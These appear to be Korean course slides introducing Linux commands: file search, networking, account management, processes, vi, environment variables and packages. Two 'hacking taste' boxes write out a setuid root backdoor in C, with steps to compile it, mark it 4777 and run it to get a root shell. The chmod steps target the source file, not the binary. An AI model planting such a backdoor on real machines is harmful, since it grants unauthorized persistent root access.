  • 3. 3 | P a g e 3. 시스템해킹에서 자주 쓰이는 명령어 - find : 파일 찾기 – name : 파일명으로 검색 ex) findˇ/ˇ-nameˇa* ↵ : 최상위부터 파일명이 a로 시작하는 모든 파일 ※파일명 검색시 유의점 ab? : 한글자를 모를 경우 a? : a로 시작하는 두글자, 검색 안되면 ‘a?’ – user : 유저명으로 검색 ex) findˇ/ˇ-userˇid↵ : 최상위부터 id로 된 파일 검색. – perm : 권한으로 검색 ex) findˇ/ˇ-permˇ777↵ : 권한이 777인 파일 검색 – size : 파일크기로 검색 <해킹 맛보기> cat 사용 Backdoor 1.catˇ>ˇback.c↵ #include <stdio.h> int main() { setuid(0); setgid(0); system(“/bin/bash”); } ctrl+d로 빠져나옴 2.gccˇ-oˇbackˇback.c↵ : 컴파일 3.chmodˇ4777ˇback.c↵ : 권한변경 4.useraddˇhacker↵ : id추가 paswdˇhacker↵ : password설정 5.exit↵ : 종료 후 haker로 로그인 6.cdˇ/tmp↵ : /tmp폴더로 이동 후 7. ./back : 현재 위치에서 back실행 ->$가 #로 바뀜.(hacker가 root가 됨) 4. 네트워크 상 명령어 - ping : 인터넷이 되는지 확인 ex) pingˇ8.8.8.8↵ : 구글에 신호를 보내 돌아오는지 확인. – ifconfig : 네트워크 IP 설정 ex) ifconfig↵ : eth0의 inet addr에서 ip주소 확인. ifconfigˇeth0ˇdown↵ : 인터넷 사용X ifconfigˇeth0ˇ8.8.8.8ˇnetmaskˇ255.255.255.0ˇup↵ :사용 – route : 게이트웨이 설정 ex) route ↵ : default 옆 게이트웨이 값보기 routeˇdelˇdefaultˇgwˇ게이트웨이값↵ : 삭제 routeˇaddˇdefaultˇgwˇ게이트웨이값↵ :추가 – dhclient : 공유기에서 ip주소를 받아와 자동설정 ※인터넷 안 될때(자동설정 후에도 안되면,) 1. killallˇdhclient↵ : 자동설정 끄기 2. dhclient ↵ : 다시 자동설정 <실습순서> 1. pingˇ8.8.8.8↵ : 구글로 신호 보냄 2. dhclient↵ : 공유기에서 ip주소 받아 자동설정 3. ifconfig↵ : IP주소 확인 4. ifconfigˇeth0ˇ8.8.8.8ˇnetmaskˇ255.255.255.0ˇup↵ ip주소를 8.8.8.8로, netmask를 255.255.255.0으로 설정 (인터넷이 되려면 ip주소는 ifconfig에서 확인한 eth0의 값으 로해야함)
  • 4. 4 | P a g e 5. 고급명령어 -useradd : 계정 생성 ex) useraddˇ계정명↵ useraddˇ-uˇ2000ˇ-gˇanimalˇmonkey↵ : uid는 2000, 그룹은 animal인 monkey계정 생성 -passwd : 패스워드 변경 ex) passwdˇ계정명↵ : 계정의 패스워드 변경(root만) passwd↵ : 자신의 패스워드 변경 -usermod : 계정수정 ex) usermodˇ-uˇ1000ˇcat↵ : cat계정의 UID를 1000번으로 변경 usermodˇ-gˇdogˇcat↵ : cat계정을 dog그룹으로 변경 ※groupˇid↵ : id가 어느 그룹에 속해있는지 확인 -userdel : 계정삭제 ex) userdelˇ-rfˇcat↵ ※-rf옵션을 써야 깔끔하게 삭제 root만 가능! -chmod : 파일 권한변경 ex) chmodˇ777ˇcat↵ :cat파일을 읽고 쓰고 실행 가능하게 변경 -chown : 파일 소유권 변경 ex) chownˇ소유자.소유그룹ˇ파일명↵ :소유그룹이름앞에 . 조심! -su : 다른 사용자의 권한 빌림 ex) suˇid↵ : 권한만 빌림, 환경변수는X suˇ-ˇid↵ : 환경변수까지 가져와 사용 6. process management <실습순서> 1. pingˇ8.8.8.8↵ : ping작업 실행 2. ctrl+z : 정지 3. jobs↵ : 백그라운드 작업 보기 [ ]안의 숫자가 작업번호 fgˇ%작업번호↵ : 작업 다시 포그라운드로 실행 ctrl+z : 정지 4. ps↵ : 현 프로세스 조회 ex) psˇ-ef↵ : 간단히 살펴볼때 psˇ-aux↵ : 자세히 살펴볼때 프로세스의 PID 번호 확인 psˇ-auxˇ|ˇgrepˇping↵ : ping의 PID확인 5. killˇ-9ˇPID번호↵ : 해당 PID의 프로세스 종료 ※ping을 실행하며 종료확인(종료실습과 비슷) 순서는 1->ctrl+alt+F3->4->5->ctrl+alt+F2 -CPU 정보 uname↵ : Linux가 나옴 unameˇ-p↵ : i686은 펜티엄4 unameˇ-a↵ : 커널의 버전 확인 -메모리 정보 freeˇ-m↵:MB단위로 바꿔서 보여줌 -프로세스 정보 pstree↵ : 각 프로세스의 부모자식 관계도 -프로세스별 CPU와 메모리 점유율 top↵ : 점유율 큰 순으로 상위에 보여줌 -시스템에 연결된 정보 netstat↵ netstatˇ-ntlp↵ -최근 시스템 접속 정보 last↵ : 누가 내 컴퓨터에 들어와서 서비스를 받았는지 확인
  • 5. 5 | P a g e 7.vi editor - viˇ파일명↵ : 파일이 존재하면 명령모드로 열고 존재하지 않으면 새로 만들어 명령모드로 실행 - i : 입력모드로 변경 입력모드 안------------------------------------------- - x : 커서 위치 문자 삭제 - dd : 현재 커서 행 삭제(2줄 삭제 2dd) - yy : 현재 커서 라인 복사(2줄 복사 2yy) - p : 복사한 내용 붙여넣기 - u : 되돌리기 - esc : 명령모드로 명령모드 안------------------------------------------ -:q↵ : 종료(무변경) -:q!↵ : 강제종료(무변경) -:w↵ : 저장 -:wq↵ :파일 저장 후 종료 실행모드 안------------------------------------------- -:!↵ : 커서 위치에서 입력 모드 변경(!는 강제성 지님) ex) : !ˇlsˇ-al↵ : vi실행 중 종료하지 않고 명령어 실행. 명령어 실행 후 엔터치면 다시 vi로 돌아옴 <해킹 맛보기> vi 사용 Backdoor 1.viˇbackdoor.c↵ #include <stdio.h> int main() { setuid(0); setgid(0); system(“/bin/bash”); } esc키 누르고 명령어모드에서 :wq↵ 로 저장하고 빠져나옴 2.gccˇ-oˇbackdoorˇbackdoor.c↵ : 컴파일 3.chmodˇ4777ˇback.c↵ : 권한변경 4.suˇhacker↵ : id잠깐 빌림 root사용자는 다른 사용자 권한 빌릴때 pw안물 5.cdˇ/tmp↵ : /tmp폴더로 이동 후 6. ./backdoor : 현재 위치에서 backdoor실행 ->$가 #로 바뀜.(hacker가 root가 됨) 7. exit↵ : 첫번째 exit는 backdoor 종료. exit↵ :두번째는 su종료 8. 환경변수 등 cdˇ/etc/skel/↵ : 기본적인 환경 setting 보여줌 -alias : 별명.(로그아웃시 모두 삭제됨) ex) aliasˇzz='ls -l'↵ : 명령어에 별명 zz를 달아 zz입 력시 ls –l의 결과값을 보여주도록 함. -PATH : 리눅스에서 어떤 파일 실행하려고 할 때, 해 당 디렉토리에 들어가서 실행해야 하지만, 해당 디렉 토리를 PATH로 지정하게 되면 어디서나 그 디렉토리 파일을 실행할 수 있다. ex) echoˇ$PATH↵ : PATH에 등록된 경로들을 : 으로 구분 해서 보여줌 PATH=$PATH:/tmp↵ :/tmp를 PATH에 추가 ※로그아웃시 모두 삭제 되므로 전체 사용자에게 추가 : /etc/profile 편집 특정 사용자에게 추가 : ~/.bash_profile -echo :뭔가를 보여주는(출력) 명령어 ex) echoˇSHELL↵ : SHELL(문자열) 출력 echoˇ$SHELL↵ : SHELL이라는 변수에 담긴 값을 출력, /bin/bash가 출력됨. (cat으로 문서내용보는것 연상) echoˇ$?↵ : 명령어 입력후 echoˇ$?↵로 사용한 명령어가 제대로 작동 되었는지 확인할 수 있음. 0출력시 정상. echoˇ$LANG↵ : en_US.UTF-8 환경변수 언어 보여줌 LANG=KO↵ :KO로 변경, 안되면 exportˇLANG=KO↵ 9. Package Install 등 rpmˇ-qaˇ패키지이름↵ : 패키지가 설치되었는지 확인 패키지이름을 다 모를경우 좀 적고 뒤에 *처리 yumˇ-yˇinstallˇ패키지이름↵ : 패키지를 인터넷을 통하여 자동 설치. –y는 모두 ‘예’ 자동으로 누르겠다는 yumˇserchˇ패키지이름↵ : 패키지 검색 ex) yumˇserchˇhttpd↵ : httpd 패키지 검색